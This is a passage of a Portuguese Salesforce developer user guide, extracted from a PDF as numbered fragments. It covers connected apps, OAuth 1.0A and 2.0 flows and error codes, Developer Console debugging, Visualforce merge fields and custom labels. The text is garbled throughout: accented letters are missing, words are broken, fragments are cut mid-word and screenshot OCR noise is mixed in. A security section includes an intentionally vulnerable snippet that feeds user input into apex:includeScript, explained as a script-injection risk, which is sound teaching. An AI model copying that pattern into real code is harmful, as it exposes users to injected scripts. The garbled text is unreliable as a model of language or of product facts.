299. enas com os aplicativos conectados que usam SAML e Em vez de fazer download dos metadados voc pode acess los por meio de um URL no Ponto final de descoberta de metadados O provedor de servi os pode usar esse URL para configurar o login nico para conex o ao Salesforce e Clique em Exibir uso do OAuth para ver o relat rio de uso dos aplicativos conectados na sua organiza o e O provisionamento de usu rios para um aplicativo conectado pode ser ativado nessa p gina Ap s a ativa o use o assistente de Provisionamento de usu rios para configurar ou atualizar as configura es de provisionamento de usu rios Depois que voc executa o assistente de Provisionamento de usu rios a se o Contas de usu rio permite gerenciar individualmente o v nculo entre as contas de usu rio e as respectivas configura es de conta no sistema de terceiros e Clique em Gerenciar perfis para selecionar os perfis do aplicativo na p gina de Atribui o do perfil do aplicativo Selecione os perfis que ter o acesso ao aplicativo exceto no Group Edition O Importante Esta op o n o ser exibida caso a pol tica OAuth para Usu rios autorizados esteja definida como Todos os usu rios podem conceder autoriza o a si mesmo porque esta op o n o necess ria quando os usu rios puderem conceder autoriza o a si mesmo e Clique em Gerenciar conjuntos de permiss es para selecionar os conjuntos de permiss es dos perfis para esse apli
300. enciar permiss es personalizadas A guia Checkpoints Pontos de verifica o exibe uma lista de pontos de verifica o salvos que preserva um instant neo do estado dos objetos na mem ria no momento em que o ponto de verifica o foi atingido Logs Tests Kheckpoints Query Editor Progress Problems Checkpoints Checkpoint Locations Namespace Class Line Date File Line Iteration none PermsetAssignmentController 8 04 10 08 06 19 PermsetAssignmentController 40 1 none PermsetAssignmentController 4 04 10 08 06 20 PermissionAssignmentControllerTest 4 PermsetAssignmentController 8 1 UserResultTest 4 1 Edit Properties Aprimorar o Salesforce com c digo Guia do usu rio Depura o com o uso do console do desenvolvedor 254 Pontos de verifica o Essa lista exibe os pontos de verifica o atualmente dispon veis para revis o Selecione Debug Depurar gt My Current Checkpoints Only Apenas meus pontos de verifica o atuais para exibir apenas os pontos de verifica o criados desde a abertura do Console do desenvolvedor Desmarque essa op o para exibir todos os pontos de verifica o atualmente salvos para a sua organiza o incluindo aqueles rec m gerados criados por outros usu rios Cada ponto de verifica o na lista exibe estas informa es Coluna Descri o Namespace O namespace do pacote contendo o ponto de verifica o Classe A classe do Apex contendo o ponto de verifica o Linha O n
301. enderizada esse atributo usado para gerar o ID DOM Document Object Model modelo de objeto do documento Use o Component Path to Id no JavaScript para fazer refer ncia a um componente espec fico em uma p gina em que Path to Id um especificador de hierarquia do componente sendo referenciado Exemplos do 3 function beforeTextSave Visualforce 7 document getElementById SComponent msgpost value myEditor getEditorHTML Dicas Essa vari vel global s est dispon vel para paginas do Visualforce ComponentLabel Descri o Um campo de mesclagem global a ser usado para fazer refer ncia ao r tulo de um componente inputField em uma p gina do Visualforce que esteja associada a uma mensagem Use Retorna o r tulo de um componente inputField que esteja associado a uma mensagem Exemplos do lt apex datalist var mess value messages gt Visualforce n lt apex outputText value mess componentLabel style color red gt lt apex outputText value mess detail style color black gt lt apex datalist gt Dicas Essa vari vel global s est dispon vel para paginas do Visualforce CurrentPage Descri o Tipo de campo de mesclagem global a ser usado para fazer refer ncia p gina atual do Visualforce ou a uma solicita o de p gina Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Use Exemplos do Visualforce Dicas SFieldSet Descri
302. ent write foo lt script gt lt apex includeScript gt O componente do Visualforce lt apex includeScript gt permite que voc inclua um script personalizado na p gina Nesses casos tenha muito cuidado para verificar se o conte do seguro e n o inclui dados fornecidos pelo usu rio Por exemplo o snippet a seguir extremamente vulner vel pois inclui entradas feitas pelo usu rio como o valor do texto de script O valor fornecido pela marca um URL para o JavaScript incluir Se o atacante puder enviar dados arbitr rios a esse par metro como no exemplo abaixo ele poder direcionar a v tima para incluir qualquer arquivo JavaScript a partir de qualquer outro site da web lt apex includeScript value SCurrentPage parameters userInput gt Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 100 Marcas de f rmula A sintaxe geral dessas marcas FUNCTION ou SOBJECT ATTRIBUTE Por exemplo se um desenvolvedor quiser incluir a ID de uma sess o do usu rio em um link poss vel criar o link usando a seguinte sintaxe lt a href http partner domain com integration sid SApi Session ID amp server SApi Partner Server URL 130 gt Go to portal lt a gt O que rende um resultado semelhante ao seguinte lt a href http partner domain com integration sid 4 0900D30000000Jsbi 21AQ0AQNYaPnVyd_ 6hNdIxxXhzQTMaa S1YiO RzpM1 8huTGN3jCO
303. epois que os registros s o exclu dos Os acionados s o armazenados como metadados no Salesforce Uma lista de todos os acionadores na sua organiza o est localizada na p gina Acionadores do Apex em Configura o Consulte Gerenciar acionadores do Apex na p gina 57 O Apex geralmente executado no contexto do sistema ou seja as permiss es do usu rio atual a seguran a em n vel de campo e as regras de compartilh amento n o s o levadas em conta durante a execu o do c digo Voc precisa ter pelo menos 75 do Apex coberto por testes de unidade para poder implantar o c digo em ambientes de produ o Al m disso todos os acionadores devem ter uma cobertura de teste Consulte Sobre testes de unidade do Apex na p gina 291 Ap s criar as classes e acionadores assim como os testes reproduza a execu o usando o Console do desenvolvedor Nota Voc s pode adicionar editar ou excluir o Apex usando a interface do usu rio do Salesforce em uma organiza o Developer Edition uma organiza o de avalia o Enterprise Edition do Salesforce ou uma organiza o sandbox Em uma organiza o de produ o do Salesforce voc s pode fazer altera es no Apex usando a chamada da API de metadados deploy o Force com IDE ou a Force com Migration Tool O Force com IDE e o Force com Migration Tool s o recursos gratuitos fornecidos pelo Salesforce para auxiliar seus usu rios e parceiros mas n o s o considerados parte de nosso
304. equ ncia Explica como obter informa es sobre comandos Exibe a descri o do comando Um espa o de trabalho uma cole o de recursos representados por guias no painel principal do Console do desenvolvedor O visualizador ou o editor de detalhes mostrado em cada guia determinado pelo tipo de recurso aberto nela Por exemplo o c digo fonte aberto no Editor de c digo fonte os registros s o abertos no Inspetor de registros e assim por diante poss vel criar um espa o de trabalho para qualquer grupo de recursos usados juntos e assim manter seu trabalho organizado Por exemplo poss vel criar um espa o de trabalho para o c digo fonte e outro para registros de depura o alternando entre eles medida que voc programa e testa O menu Workspace Espa o de trabalho inclui todos os links necess rios e Switch Workspace Alternar espa o de trabalho Permite selecionar entre os espa os de trabalho salvos e New Workspace Novo espa o de trabalho Cria um novo espa o de trabalho Digite um nome para o espa o de trabalho e clique em OK Abra os recursos que deseja colocar no espa o de trabalho O espa o de trabalho ser salvo quando voc trocar para um espa o de trabalho diferente ou fechar o Console do desenvolvedor Aprimorar o Salesforce com c digo Guia do usu rio Console do desenvolvedor 8 e Rename Current Workspace Renomear espa o de trabalho atual Substitui o espa o de trabalho atua
305. er refer ncia a objetos padrdo ou personalizados como Contas Casos ou Oportunidades e aos valores dos seus campos Use campos de mesclagem de tipo de objeto nas fun es LINKTO GETRECORDIDS e URLFOR para fazer refer ncia a um tipo de dados espec fico ou na fun o VLOOKUP para fazer refer ncia a um campo espec fico em um objeto relacionado 1 Selecione o tipo de dados SObjectType 2 Selecione um objeto para inserir um campo de mesclagem que represente esse objeto como SObjectType Case Se desejar selecione um campo nesse objeto usando a seguinte sintaxe SObjectType Role Limit c Fields Limit c O bot o de lista personalizado a seguir faz refer ncia ao objeto padr o de casos no campo de mesclagem SObjectType Case REQUIRESCRIPT soap ajax 13 0 connection js var records GETRECORDIDS SObjectType Sample var newRecords if records 0 null alert Please select at least one row else for var n 0 n lt records length n var c new sforce SObject Case c id records n c Status New newRecords push c result sforce connection update newRecords window location reload Este exemplo confere se um CEP de cobran a v lido buscando os cinco primeiros caracteres do valor em um objeto personalizado chamado Zip Code c que cont m um registro para cada CEP v lido nos EUA Se o CEP n o for encontrado no objeto Zip Code couseo est
306. ers 9 Fridge Log ui common apex debug ApexCSIAPI 04 09 21 25 10 Code Coverage None GoTo public class PurchaseOrders de Bn interface that defines what a purchase order looks like in general public interface PurchaseOrder All other functionality excluded Double discount m One implementation of the interface for customers public virtual class CustomerPurchaseOrder implements PurchaseOrder public virtual Double discount return 05 Flat 5 discount Employee purchase order extends Customer purchase order but with a LL diffarant diccaunt lt Logs Tests Checkpoints Query Editor Progress problems Name Line Problem PurchaseOrders 18 unexpected token dass A sintaxe se destacando no Editor de c digo fonte ressalta coment rios n meros strings palavras chave reservadas tipos de dados primitivos declara es de vari veis e refer ncias Para acessar a pesquisa de c digo pressione CTRL F Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 17 Ap s implantar o teste poss vel visualizar a cobertura do c digo linha por linha no Editor de c digo fonte Consulte Verificando a cobertura de c digo O Editor de c digo fonte tamb m permite que voc defina pontos de verifica o para solucionar problemas sem atualizar seu c digo Consulte Configurando p
307. es O c digo HTML define exatamente como os usu rios devem ver o custom s control e Se voc estiver criando uma f rmula na guia F rmula avan ada seja para aprova es ou regras como fluxo de trabalho valida o atribui o resposta autom tica ou escala o clique em Inserir campo escolha um campo e clique em Inserir Para criar uma f rmula b sica que aprove dados do Salesforce espec ficos selecione a guia F rmula simples escolha o tipo de arquivo na lista suspensa Selecionar tipo de campo eescolha um dos campos relacionados na lista suspensa Inserir campo Q Dica Crie f rmulas de objetos cruzados para ocupar objetos relacionados e fazer refer ncia a campos de mesclagem nesses objetos e Para inserir um operador escolha o icone de operador apropriado na lista suspensa Inserir operador e Para inserir uma fun o clique duas vezes em seu nome na lista ou selecione a e clique em Inserir fun o selecionada Para filtrar a lista de fun es escolha uma categoria na lista suspensa Fun es Selecione uma fun o e clique em Ajuda sobre esta fun o para exibir uma descri o e exemplos de f rmulas usando essa fun o e Para consultar um arquivo carregado no campo Nome do arquivo como parte do custom s control selecione Custom S Control na lista suspensa Selecionar o tipo de campo e escolha URL do Custom S Control para obter o campo de mesclagem para ele Para um miniaplicativo Java tamb m poss vel utili
308. es Soap m 17 0 00D300000006qjK lt metadataServerUrl gt lt sandbox gt false lt sandbox gt lt serverUrl gt https nal salesforce com services Soap u 17 0 00D300000006qjK lt serverUrl gt Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 202 lt sessionlId gt 00D300000006qgrN AQoAOJTMzwTa67tGgOckIng xgMSuWVBpFw2Z1xUq2kLjMYg6Zq GTS8Ezu_C3w0pdT1DMyHiJgB6 fbhhEPxKjGqlYn1ROIUs1 lt sessionId gt lt response gt CONSULTE TAMBEM Autenticando aplicativos com o OAuth C digos de erro OAuth 1 0 A O Salesforce retorna os seguintes c digos de erro durante o Fluxo de autentica o OAuth 1 0 A O c digo de erro retornado baseia se no erro recebido C digo de Erro Notas falha 1701 Falha Reprodu o de Nonce detectada Um Nonce pode ser usado somente uma vez 1702 Falha Par metro chave do consumidor ausente 1703 Falha Chave de acesso inv lida 1704 Falha Vers o sem suporte Voc deve especificar 1 0 para o par metro vers o oauth 1705 Falha Data e hora inv lidas Data e hora uma das op es a seguir ausente no futuro muito antigo ou com defeito 1706 Falha Nonce inv lido O Nonce est ausente 1707 Falha Par metro da chave de OAuth ausente 1708 Falha Endere o de IP n o permitido 1709 Falha M todo de assinatura inv lido A ChaveDeSolicita o cont m um par metro m todo de assinatura oauth inv lido 1710 Falha URL
309. es no formato Bindings key como https www example com Bindings itemId Defina o valor da vari vel vinculante ao instanciar o grupo de links de a o a partir do modelo como neste exemplo de API REST do Chatter que define o valor de itemID como sendo 8675309 POST connect action link group definitions templateId 079D00000004C9r templateBindings key itemId value 8675309 Esse campo tamb m pode conter vari veis de contexto Use vari veis de contexto para passar ao c digo do lado do servidor informa es sobre o usu rio que executou o link de a o Por exemplo este link de a o passa o ID do usu rio que clicou no link de a o para responder a uma pesquisa no servidor que hospeda a pesquisa actionUrl https example com doSurvey surveyld 1234 amp salesforceUserlId userId nsira o M todo HTTP a ser usado para a solicita o HTTP Opcional Seo Tipo de a o Api ou ApiAsync insitaum Corpo da solicita o HTTP Esse campo pode conter vari veis vinculantes e vari veis de contexto Opcional Seo Tipo de a o Api ou ApiAsync insira Cabe alhos HTTP Esse campo pode conter vari veis vinculantes e vari veis de contexto Se um link de a o instanciado a partir de um modelo fizer uma solicita o a um recurso do Salesforce o modelo dever conter um cabe alho Content Type Opcional Para que esse link de a o seja o link padr o no grupo que
310. esforce 173 1 Em Configura o insira Aplicativos conectados nacaixa Busca r pida e selecione a op o de gerenciamento de aplicativos conectados 2 Clique em Editar ao lado do nome do aplicativo conectado para exibir os valores referentes ao aplicativo 3 No campo Relaxa o de IP selecione Reduzir restri es de IP nalista suspensa Nota Se a op o de Configura es de sess o Impor intervalos IP para fazer login em toda solicita o estiver ativada ela afetar o comportamento de relaxamento de IP Para obter mais informa es consulte Relaxamento de IP de aplicativo conectado e imposi o de IP cont nuo na p gina 175 Depois de criar o aplicativo conectado voc pode voltar para a p gina de detalhes e especificar atributos personalizados Os atributos personalizados especificam metadados SAML ou par metros de OAuth que s o lidos em tempo de execu o do OAuth 1 Em Configura o insira Aplicativos nacaixa Busca r pida eselecione Aplicativos 2 Selecione o nome de um aplicativo conectado na lista 3 Nase o Atributos personalizados clique em Novo Cada atributo personalizado deve ter uma chave exclusiva e usar campos dispon veis no menu Inserir campo Por exemplo atribua um nome de chave como pa s einsirao campo SOrganization Country Ao usar o SAML os atributos s o enviados como instru es de atributos de SAML Ao usar o OAuth os atributos est o dispon veis como um objeto custom attributes no U
311. essa defini o na Configura o inserindo Componentes na caixa Busca r pida selecionando Visualforce e clicando em Editar ao lado do componente personalizado meuNovoComponente CONSULTE TAMB M O que um componente personalizado O que um componente personalizado Exibindo e editando componentes personalizados do Visualforce Em Configura o insira Componentes na caixa Busca r pida selecione Componentes EDI ES do Visualforce e clique no nome de um componente personalizado para visualizar sua defini o Na p gina de detalhes poss vel executar as seguintes a es Dispon vel em Salesforce Classic e Lightning e Clicar em Editar para editar o componente personalizado Experience e Clicar em Excluir para excluir o componente personalizado Dispon vel em Edi es Contact Manager Group Professional Enterprise e Clicar em Onde usado a para exibir uma lista de todas as refer ncias ao componente Performance Unlimited e personalizado em sua organiza o Developer e Clicar em Clonar para criar uma c pia do componente personalizado necess rio especificar um novo nome para o novo componente e Clique em Mostrar depend ncias para exibir os itens como outro componente permiss o ou prefer ncia que devem existir para que esse componente personalizado seja v lido PERMISS ES DO Depois de criado poss vel exibir o componente em USU RIO Para clonar editar excluir ou definir
312. est temporariamente indispon vel O ID de registro do campo Destinat rio est formatado incorretamente A carga excede o tamanho m ximo O campo Destinat rio cont m um ID de registro que n o v lido para a chave do servidor de API do aplicativo conectado O destinat rio obrigat rio O campo destinat rio cont m um ID de dispositivo inv lido O servidor do GCM retornou um erro inesperado Entre em contato com a equipe de suporte da SFDC Houve um erro inesperado Entre em contato com a equipe de suporte da SFDC CONSULTE TAMB M Criando um Aplicativo conectado Testando as notifica es por push Guia do usu rio Integra o de aplicativos com o Salesforce 187 Resolu o sugerida Tente novamente mais tarde Entre em contato com a Apple ou tente novamente mais tarde nsira novamente o valor do emblema como um inteiro Formate a carga corretamente nsira um valor v lido referente a um dos campos Forne a um token de dispositivo Consulte a documenta o do GCM em developer android com Poss veis causas e O cabe alho da autoriza o est ausente ou cont m uma sintaxe inv lida e Um n mero de projeto inv lido foi enviado como chave e A chave v lida mas o servi o do GCM est desativado e A solicita o se originou de um servidor que n o est na lista aprovada nos endere os IP de chave de servidor Tente novamente mais tarde Verifique se o aplicativo m vel est
313. ew Run Nova execu o As classes com m todos de teste s o listadas na janela Selecionar testes Select Tests x Namezs Name E Name AwesomeClassTest testAFailingTest a J SampleClassTest SampleClassTest testMyAwesomeMethod 7 testMoreCode testMyAwesomeMethodIfFalse V testSampleCode testMyAwesomeMethodIfTrue 7 J AwesomeClassTest testMyAwesomeMethod testMyAwesomeMethodIfTrue testMyAwesomeMethodIfFalse class Select All My Namespace v Run 2 Selecione uma classe no painel Classes de teste Para filtrar a lista de classes digite na caixa Filtrar classes de teste qualquer uma 3 Quando todas as classes que voc desejar forem inclu das no painel Classes de teste selecionadas clique em Executar para colocar em fila e executar as classes A execu o de teste aparece na guia Testes Para parar um teste clique em Teste gt Anular Nota Se seus m todos de teste chamam outros m todos ou classes definidos como testes em sua organiza o esses m todos e classes tamb m ser o executados 4 Na guia Testes expanda a execu o de teste para ver os resultados de cada m todo chamado por cada classe na execu o Nota Classes de teste n o necessitam de cobertura de c digo ent o elas mostram 0 de cobertura no painel de Cobertura de c digo geral e n o afetam a porcentagem de cobertura de c digo geral 5 Clique duas vezes na execu o de teste conclu da para abrir os resultados
314. exemplo poss vel exibir o n mero de opera es DML ou os diferentes m todos pelo tipo de m todo 3 Clique na guia Limites para exibir os limites do controlador usados por esta opera o Exibindo declara es System Debug Cen rio Voc adicionou um n mero de instru es System Debug ao seu c digo para rastrear o progresso de uma solicita o Como voc as localiza usando o Inspetor de registro 1 No painel Registro de execu o selecione Filter Filtrar 2 Insira DEPURAR mai sculas na caixa de entrada Somente as linhas com a string DEPURAR s o mostradas na exibi o da solicita o Atualizando o c digo fonte Cen rio Logo ap s executar a sua solicita o voc observa um c digo de erro Apex no registro de depura o Qual a maneira mais f cil de editar seu c digo Apex 1 No painel Fonte selecione a linha de c digo 2 Clique em Open Abrir A classe ou o acionador abre em uma nova guia do Editor de c digo fonte Monitorando DML em uma solicita o Cen rio Sua solicita o cont m muitas instru es DML em diferentes locais Como poss vel saber quantas vezes o DML foi executado em uma solicita o Aqui est o duas t cnicas para navega o em um registro de depura o para examinar a DML real executada durante a dura o da solicita o 1 No painel do Registro de execu o clique em Filter Filtrar e digite DML Todos os itens na solicita o que contiverem DML em a
315. exto de tradu o Este texto substitui o valor especificado no campo Valor do r tulo quando um idioma padr o do usu rio o idioma da tradu o 6 Clique em Salvar CONSULTE TAMB M Criando e editando r tulos personalizados Vis o geral dos r tulos personalizados Visualforce 119 EDICOES Disponivel em Salesforce Classic e Lightning Experience Dispon vel em Edi es Developer Professional Enterprise Performance e Unlimited PERMISS ES DO USU RIO Criar editar ou excluir r tulos personalizados e Personalizar aplicativo Criar ou substituir uma tradu o e Gerenciar tradu o OU Ver Instala o e Configura o e ser designado como tradutor Aprimorar o Salesforce com c digo Vendo r tulos personalizados Ap s criar um r tulo personalizado voc pode e Editar o r tulo personalizado Nota Voc n o pode editar os atributos de r tulos personalizados instalados como parte de um pacote gerenciado Voc s pode substituir as tradu es existentes ou fornecer novas para idiomas n o inclu dos no pacote e Excluir um r tulo personalizado Nota Voc n o pode excluir r tulos personalizados instalados como parte de um pacote gerenciado ou que sejam mencionados pelo Apex ou por uma p gina do Visualforce Voc s pode substituir as tradu es existentes e Crie ou edite uma tradu o CONSULTE TAMB M Criando e editando r tulos personalizado
316. ferentes sandboxes os quais coordenam essas altera es para a implanta o Estas se es t m mais informa es sobre o processo de implanta o e as ferramentas dispon veis para o desenvolvimento e implanta o de altera es e Vis o geral da implanta o e Selecione suas ferramentas para desenvolver e implementar altera es NDICE A Acesso ao aplicativo negar acesso 242 solicita o aprovada 241 solicita es 240 Acesso remoto autenticando usu rios 197 desenvolvendo para 197 escopo 226 gerenciando aplicativos 182 OAuth 226 escopo 226 revogando acesso 227 terminologia 196 usando a chave de acesso 228 usando o ponto final de descoberta OpenID Connect 238 usando o Userinfo Endpoint 235 usando um token de id 229 usando URLs de identidade 230 uso do Ponto final de configura o de autentica o 239 vis o geral 163 Acionadores definindo 51 gerenciando 57 p gina de detalhes 61 registros de depura o 289 Agendando Apex 65 Apex chamada 66 classes 56 c digo 49 c digo fonte 16 configura es de vers o 58 configurando a seguran a da classe 90 configurando o acesso da classe 91 93 criando uma classe 50 criando uma classe de um WSDL 62 definindo um acionador 51 depend ncias 59 depurando 5 265 editando 5 editor 15 16 email 104 emails de exce es 54 Apex continua o erros nos pacotes 55 exce es 54 exibindo uma classe 59 fazendo download de um WSDL personalizado 135 fila de traba
317. fica es sejam enviadas do servidor para o cliente Considere usar a API de streaming para aplicativos que fazem consultas frequentemente Aplicativos que realizam consultas constantes infraestrutura do Salesforce consomem tempo desnecess rio de chamada e processamento da API A API de streaming reduz o n mero de solicita es que n o retornam dados e tamb m ideal para aplicativos que exigem notifica o geral de altera es de dados A API de streaming permite reduzir o n mero de chamadas de API e melhorar o desempenho Quando usar a API REST do Apex Use a API REST do Apex quando quiser expor suas classes e m todos Apex para que aplicativos externos possam acessar seu c digo atrav s de arquitetura REST API REST do Apex suporta OAuth 2 0 e ID de sess o para autoriza o Quando usar a API SOAP do Apex Use a API SOAP do Apex quando quiser expor m todos Apex como APIs de servi o da Web SOAP para que aplicativos externos possam acessar seu c digo atrav s de SOAP APISOAP do Apex suporta OAuth 2 0 e ID de sess o para autoriza o Aprimorar o Salesforce com c digo Quando usar a API do conjunto de ferramentas Guia do usu rio Integra o de aplicativos com o Salesforce 138 Use a API do conjunto de ferramentas para gerenciar e implantar c pias de trabalho de classes e acionadores do Apex e componentes e p ginas do Visualforce Voc tamb m pode definir pontos de verifica o ou marcadores de heap dump exec
318. force autoriza o usu rio Dispon vel em todas as edi es 4 Depois que o usu rio autorizado o consumidor solicita uma ChaveDeAcesso 5 O Salesforce verifica a solicita o e concede a chave PERMISS ES DO 6 Depois que a chave concedida o consumidor acessa os dados por meio do aplicativo ou da USU RIO API de servi os da Web do Force com Para gerenciar criar editar e excluir aplicativos OAuth As se es a seguir fornecem mais detalhes sobre cada uma dessas etapas e Gerenciar aplicativos coneciados 7 O Salesforce verifica a solicita o e concede o acesso aos dados Q Dica Para usar um aplicativo conectado com um sandbox use test salesforce com emvezde login salesforce com nas se es a seguir Para obter a lista dos poss veis c digos de erro retornados pelo Salesforce consulte C digos de erro OAuth 1 0 A na p gina 202 Solicitando uma ChaveDesSolicita o Quando um consumidor faz uma solicita o inicial ao Salesforce uma ChaveDeSolicita o retornada quando a solicita o v lida As seguintes etapas cont m mais detalhes para o desenvolvedor que est usando um aplicativo conectado para solicitar dados do Salesforce 1 Um aplicativo do consumidor deve acessar dados do Salesforce e envia uma solicita o para https login salesforce com nc external system security ocauth RequestTokenHandler A solicita o cont m o seguinte e Uma solicita o v lida para uma ChaveDeSol
319. formance Unlimited e Developer Aplicativos conectados podem ser instalados em todas as edi es 1 Em Configura o insira Aplicativos conectados na caixa Busca r pida e selecione a op o de gerenciamento de aplicativos conectados Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 179 2 Clique em Editar ao lado do nome do aplicativo que deseja modificar Para revisar as informa es sobre um aplicativo na pagina Detalhes do aplicativo conectado clique no nome do aplicativo e As pol ticas do OAuth est o dispon veis para qualquer aplicativo conectado ativado por OAuth Usu rios autorizados determina quem pode executar o aplicativo e Todos os usu rios podem se autoautorizar Padr o Qualquer um na organiza o pode conceder autoriza o a si mesmo no aplicativo Essa configura o significa que cada usu rio dever aprovar o aplicativo na primeira vez que o acessar e Os usu rios aprovados pelo administrador s o pr autorizados O acesso limitado aos usu rios com o perfil ou conjunto de permiss es especificado mas eles n o precisam aprovar o aplicativo antes de poder acess lo No Group Edition essa configura o impede o acesso de todos os usu rios ao aplicativo Gerencie perfis para o aplicativo editando a lista Acesso ao aplicativo conectado de cada perfil exceto no Group Edition Gerencie conjuntos de permiss es do aplicativo editando a lista Apl
320. fornecidas clicando em Escolha um dos logotipos de exemplo Clique no cone desejado e em seguida copie e cole o URL exibido no campo URL do cone Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 167 7 Se houver uma p gina da Web com mais informa o sobre seu aplicativo forne a uma URL de informa es 8 Digiteuma Descri o para ser exibida na lista de aplicativos conectados Antes de Winter14 a URL de in cio ea URL do in cio m vel eram definidas nessa se o Esses campos agora se encontram em Configura es de aplicativo da Web e Configura es de aplicativo m vel abaixo API Ativar as Configura es do OAuth Essa se o controla como seu aplicativo se comunica com o Salesforce Selecione Ativar configura es OAuth para definir as configura es de autentica o 1 Digitea URL de callback ponto final que o Salesforce chama no seu aplicativo durante o OAuth Trata se do redirect uri no OAuth Dependendo do fluxo de OAuth usado normalmente esse o URL para a qual o navegador do usu rio redirecionado depois de uma autentica o bem sucedida J que esse URL usado para que alguns fluxos de OAuth passem um token de acesso ele deve usar HTTP seguro HTTPS ou um esquema de URI personalizado Se voc inserir v rios URLs de retorno no tempo de execu o o Salesforce comparar o valor de URL de retorno especificado pelo aplicativo aos valores em
321. g A quantidade de informa es registradas Tipo de evento A combina o da categoria do registro e do n vel do registro que especificam quais eventos s o registrados Cada evento pode registrar informa es adicionais como a linha e o n mero do caractere em que o evento foi iniciado os campos associados ao evento a dura o do evento em milissegundos e assim por diante Categorias de registro de depura o Cada n vel de depura o inclui um n vel de registro de depura o para cada uma das categorias de registro a seguir A quantidade de informa es registradas para cada categoria depende do n vel do registro Categoria do log Descri o Banco de dados nclui informa es sobre a atividade do banco de dados incluindo cada instru o DML data manipulation language linguagem de manipula o de dados ou consulta SOQL ou SOSL inline Fluxo de trabalho nclui informa es das regras de fluxo de trabalho fluxos e processos como o nome da regra as a es tomadas e assim por diante Valida o nclui informa es sobre regras de valida o como o nome da regra se a regra foi avaliada como verdadeira ou falsa etc Callout ncluio XML de solicita o resposta que o servidor est enviando e recebendo de um servi o da Web externo Isso til quando ocorrem problemas de depura o relacionados ao uso de chamadas da API dos servi os da Web do Force com Apex Code C digo do Apex Inclui informa es so
322. ge Dispon vel em Salesforce Classic e Lightning Experience Aplicativos conectados podem ser criados em Edi es Group Professional Enterprise Performance Unlimited e Developer Aplicativos conectados podem ser instalados em todas as edi es Depois de configurar o provisionamento de usu rios para um aplicativo conectado voc pode gerenciar as configura es e aprova es referentes ao provisionamento cancelamento de provisionamento ou atualiza es de contas de usu rios individuais Use o seguinte para gerenciar solicita es individuais e contas de usu rios Guia Solicita es de provisionamento de usu rios Na guia Solicita es de provisionamento de usu rios poss vel exibir detalhes e gerenciar aprova es para uma solicita o individual de provisionamento de usu rios Os detalhes da solicita o de provisionamento de usu rios incluem informa es sobre o status da solicita o e o status de uma aprova o caso necess rio e se estiver configurado Clique no valor do campo Nome de uma solicita o de provisionamento de usu rios recente para ver os detalhes inclusive os citados a seguir Opera o A a o referente solicita o atual Os poss veis valores s o apresentados a seguir e Criar Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 193 e Leitura e Atualizar e Desativar e Activate e Congelar e Descon
323. gelar e Reconciliar compara a conta do Salesforce com a conta no sistema de terceiros e Vincula o altera o estado de vincula o atual Estado O valor Estado muda durante o processo de reconcilia o para coletar e comparar as contas de usu rio no sistema de terceiros com as contas de usu rio do Salesforce Normalmente quando criada inicialmente uma solicita o de provisionamento de usu rios tem o valor de Estado definido como Novo Quando um processo de coleta come a o Estado muda para Coletando at que o processo termine Quando o processo termina o Estado passa a ser Coletado Se um processo de an lise acionado devido a uma diferen a entre as contas o Estado muda para Analisando at que o processo termine Quando o processo termina o Estado passa a ser Anali sado Se um processo confirma a solicita o com base nas configura es de vincula o o Estado muda para Confirmando e o Salesforce atualiza as propriedades da conta de usu rio conforme necess rio Quando essa atualiza o termina o Estado muda para Conclu do Entretanto o Estado n o come a necessariamente como Novo Se algum processo personalizado inicia uma solicita o para reconciliar contas uma entrada pode come ar com Analisando como seu Estado Al m disso o Estado de uma tarefa ativa n o pode retroceder Por exemplo um processo que tem Analisando como Estado e bem sucedido deve necessariamente progred
324. guia personalizada a 9 Insira um r tulo a ser exibido na guia D Selecione o estilo de guia e clique em Avan ar f Quando houver uma solicita o para adicionar a guia aos perfis aceite o padr o e clique em Salvar Nota A cria o de uma guia personalizada um pr requisito para a ativa o do componente no menu de navega o do Salesforce1 mas n o h suporte para o acesso ao componente do Lightning a partir do site completo do Salesforce 2 Inclua o componente do Lightning no menu de navega o do Salesforce a Em Configura o insira Navega o na caixa Busca r pida e selecione Navega o do Salesforce1 b Selecione a guia personalizada que voc acabou de criar e clique em Adicionar c Classifique os itens selecionando os e clicando em Para cima ou Para baixo No menu de navega o os itens aparecem na ordem que voc especificou O primeiro item na lista Selecionado torna se a pagina de apresenta o do seu usu rio no Salesforce 3 Verifique a sa da acessando o aplicativo de navegador m vel Salesforce1 O novo item de menu deve aparecer no menu de navega o Nota Por padr o o aplicativo de navegador m vel fica ligado para a sua organiza o Para obter mais informa es sobre o uso do aplicativo de navegador m vel Salesforce1 consulte o Guia para desenvolvedores de aplicativos Salesforce1 CONSULTE TAMB M Vis o geral da estrutura de componente do Lightning beta Usando o Cons
325. hatter Nota Depois de adquiriro access token poss vel pass lo como token Portador na solicita o de cabe alho de Autoriza o Veja a seguir um exemplo de chamada da API REST para comunidades https acme force com customers services data v32 0 H Authorization Bearer 00D50000000Teh2Z AQCAQHOdMHZ z972Szmpkb58urFRkgeBGsxL_ QUWwYMfAbUeeG7c1E6 LYUfiDUkWe6H34r1lAAWOR8B8fLEz6n04NPGRrqoFM Erros Se houver um erro no processamento do token portador JWT o servidor responder com uma resposta de erro padr o do OAuth incluindo um erro e uma descri o contendo informa es adicionais sobre os motivos pelos quais o token foi considerado inv lido Veja aqui um exemplo de resposta de erro HTTP 1 1 400 Bad Request Content Type application json Cache Control no store error invalid grant error description Audience validation failed CONSULTE TAMBEM Autenticando aplicativos com o OAuth Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 211 Fluxo de chaves de atualiza o OAuth 2 0 Depois que o consumidor for autorizado a acessar ele pode usar um token de atualiza o para EDICOES obter um novo token de acesso ID de sess o Isso s feito depois que o consumidor j tiver recebido uma chave de atualiza o usando o servidor da Web ou o fluxo de agentes do usu rio Dispon vel em Salesforce Cabe ao consumidor determinar quando uma chave de
